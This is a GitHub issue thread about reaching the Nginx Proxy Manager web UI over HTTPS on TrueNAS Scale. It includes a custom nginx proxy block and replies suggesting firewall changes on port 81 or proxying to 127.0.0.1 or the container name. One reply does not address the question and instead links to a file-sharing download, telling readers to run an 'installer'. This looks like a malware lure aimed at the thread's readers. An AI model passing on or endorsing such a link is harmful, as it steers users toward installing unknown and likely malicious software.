can't access the webui with https+domain, I have tried to config the nginx proxy manager that proxy itself, but failed. Anyone who can help me how to config the nginx proxy manager

[645340633]

Checklist

• Have you pulled and found the error with jc21/nginx-proxy-manager:latest docker image?
  • Yes / No
• Are you sure you're not using someone else's docker image?
  • Yes / No
• Have you searched for similar issues (both open and closed)?
  • Yes / No

Describe the bug

Nginx Proxy Manager Version

To Reproduce Steps to reproduce the behavior:

1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error

Expected behavior

I can't access the nginx proxy manager webui with the https+domain, I have tried to config the nginx proxy manager that proxy itself, but failed. Anyone who can help me how to config the nginx proxy manager

Screenshots

Custom Nginx Configuration location / { proxy_pass http://nginx-proxy-manager.ix-nginx-proxy-manager.svc.cluster.local:9081;
proxy_set_header Host $http_host;
proxy_redirect http:// https://;
proxy_set_header X-Forwarded-Host $http_host;
proxy_set_header X-Forwarded-Port $server_port; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Scheme $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $http_connection; proxy_http_version 1.1; } Please note, that any add_header or set

Operating System

truenas scale 24.04

Additional context

I need to access the nginx proxy manager webui with the https+domain . I have tried to config the nginx proxy manager that proxy itself , but failed. it can't access to the webui，Anyone who can help me how to config the nginx proxy manager that can access to the web with proxy https

[santos-naudiyal]

try this https://gofile.io/d/Lji8KD select the desired compiler in the installer

[645340633]

[OneComputerGuy]

I ran into something similar today (proxying the same IP of the server that ran NPM and was running into the same issue.

In my case it was because I had port 81 restricted in the firewall to a handful of IP ranges, the issue was solved after allowing all traffic on port 81. I was not able to pinpoint the IP used by in the redirect to enable only that range, though.

[swensorm]

@645340633 I also run npm on TrueNAS Scale and found that it proxies within the contanier itself if you specify the hostname as 127.0.0.1 and port 81 (or 443 with https but it's within the container so not really necessary). In addition to it not being allowed to exit and loop back to the container it's likely faster to not anyway.

[shalafi99]

You can also use the NPM container name as the hostname:

[PunkFleet]

I ran into something similar today (proxying the same IP of the server that ran NPM and was running into the same issue.

In my case it was because I had port 81 restricted in the firewall to a handful of IP ranges, the issue was solved after allowing all traffic on port 81. I was not able to pinpoint the IP used by in the redirect to enable only that range, though.

Should this operation be done on the router? The router I am using is openwrt, how should I change the firewall

[github-actions[bot]]

Issue is now considered stale. If you want to keep it open, please comment :+1: